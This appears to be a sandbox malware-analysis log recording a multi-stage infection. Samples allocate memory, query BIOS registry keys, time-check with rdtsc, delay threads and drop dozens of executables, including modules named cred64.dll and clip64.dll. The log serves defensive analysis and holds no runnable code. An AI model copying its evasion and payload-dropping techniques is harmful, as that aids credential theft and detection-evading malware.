Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Memory allocated: 1180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Memory allocated: 2AB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory allocated: 11A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory allocated: 1F3F4990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory allocated: 1F3F62B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 12B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2AB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4AB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 7200000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 8200000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 8390000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 9390000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 97F0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: B070000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: C470000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 97B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: D470000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: E470000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: EAA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: FAA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 8300000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 9500000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe

Code function: 7_2_05010B4F rdtsc

7_2_05010B4F

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599675
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596417
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595611
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 592613
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 592174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 591863
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 591362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 588551
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 587988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 587538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 587006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 586598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 584013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 583347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 582588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 579810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 579036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 578371
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 574082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 573153
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 572475
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 571559
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 570854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 570174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 569384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 568678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 291318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Window / User API: threadDelayed 1173	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Window / User API: threadDelayed 1141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Window / User API: threadDelayed 1144	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Window / User API: threadDelayed 1326	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 944
Source: C:\Users\user\1000021002\ac861238af.exe	Window / User API: threadDelayed 662
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 2567
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 2264
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 2236
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 2236
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 4717
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Window / User API: threadDelayed 4830
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9256
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Window / User API: threadDelayed 830
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Window / User API: threadDelayed 2276
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Window / User API: threadDelayed 2299
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Window / User API: threadDelayed 2268
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Window / User API: threadDelayed 2284
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 356

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_9-69633

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\X53t1QSznpDGsvX2qLbdQFD1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Osh3JGbyB69u4I6NltayynfD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\gX4d2ArXDOHTjofk9CfRb7Jz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\5nFKWr1EKUheiDEHo671vxm8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\QbkKvIT5uJj3Cx8h0ECIsmUK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u6po.2\ASUS_WMI.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\install[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\gold[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\MtYY7PxoMVCDp1NJbYQga2LV.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\jzMGE9Xb2Ny8jtCWlXWAk3ap.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\de4IGlGSbV9c3J4m0qZtBGm8.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\aYtr3HT3BUqjK6QB6WYpwCcm.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\zWIy5Pdf1kgq9YulaqIKrGGy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\JcuJCrKoIRAAJIb94uRnhVjr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\gPQjkT7jjoMSIv7cXyWMW1C4.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Z0V3bHdPFsglc9f9uLbxOZFN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\leqbtljZtxj2WxVvdmpHiNsI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\ppcQqLgPI8Dyy7YykX33fm5x.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\S41vy8IsPU7Iudry37c4uNtg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000081001\install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u6po.2\AsIO.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sarra[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\oqwWhViccQzmDvkS751EZRiG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u6po.2\ATKEX.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\laQhqKepZhfkS5rQoYOvKJAy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\g81RdhkO8Pp47pz1l8siHWuN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\pScZMSZH0uu2OkUDvWpN2tuz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\dmmb0z6yJ22pC75a4y49Nfob.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\mBoc1pbzy7gOQT20pyEZL3en.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\STUD4CnDuvZtXsKBuBkO31id.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\jfesawdr[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\1NXbTL9dcUCk55eVv5KRJhmL.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\oXA3lyE6zGyLyvw1CwVKpLsf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\iO9tAKw78L31Wsbvnq5kt5m1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\M4OBi0ywNcuUZRFLcfJ70nUH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\gmHwlMZnGawtAwStcAU6D1RM.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NN7y6Ml4QHJBCfpeCmt1XQq3.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\f2NBhcBIObRGHagt6xPQoMa2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\gjVUxsTFUgOAjApkeCU52nGD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\rVg8HtIzXa4xhJHL7Pn8A6d2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\0co9idnjzay1KSn3DMfCsBSw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\ULDq5mjQ4b5aNI3V4eIJfMVS.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\v6zcDFD3cRDhmr34kNKDn8tX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\GIz2DLitsyoTn14REJti2nqN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\evHtDP9yDvs3XYDQg8lqEVoH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\Jr1vIs8XqAmt0RT7bHMte8ts.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\qPQ3lJ1fN9DRgfiXtyMpf1ll.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\gKIISy7hixfPFGDeeM7cQzit.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\SjGlviky3CjPwV1vWXl2gdhJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\D7t23m0X26bEkZqkCQtNwK5Y.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\s8YO7ScTlLADC9Vt6wr10aY4.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\11xbcpylNeYY4tZ39QN34xGC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000079001\gold.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\iFyHzFXRkeOppMlu3FtGrLYy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\QcyIEuk7gD7wTlhElB94jgu9.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\tAKreBGDuozTwXSZfhU7cFT3.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\PHoZl3WswCZ1lCRWCJPBFZtN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\pl49PSFkcWVTQqBe8TA2VhRW.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\3N5jWnvXHqfYUsxTijnW3Uc5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\alexxxxxxxx[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\7iI5SUAnqRGyB1YdSAO06W1v.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000077001\jfesawdr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\gzxs1MlpU5tnMfkC7kzgvR1h.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\i8dOWYOLtbNAxDJGOQ8Wt9el.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000080001\alexxxxxxxx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\Pictures\v3efLAgS1BVue6uNuzFECLaH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\xF7m0A44x6KodDxbhAtiDsub.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe TID: 6792	Thread sleep count: 1173 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe TID: 6792	Thread sleep time: -35190000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe TID: 6872	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 1072	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 1072	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 3804	Thread sleep count: 1141 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 3804	Thread sleep time: -2283141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 5804	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 2828	Thread sleep count: 1144 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 2828	Thread sleep time: -2289144s >= -30000s	Jump to behavior
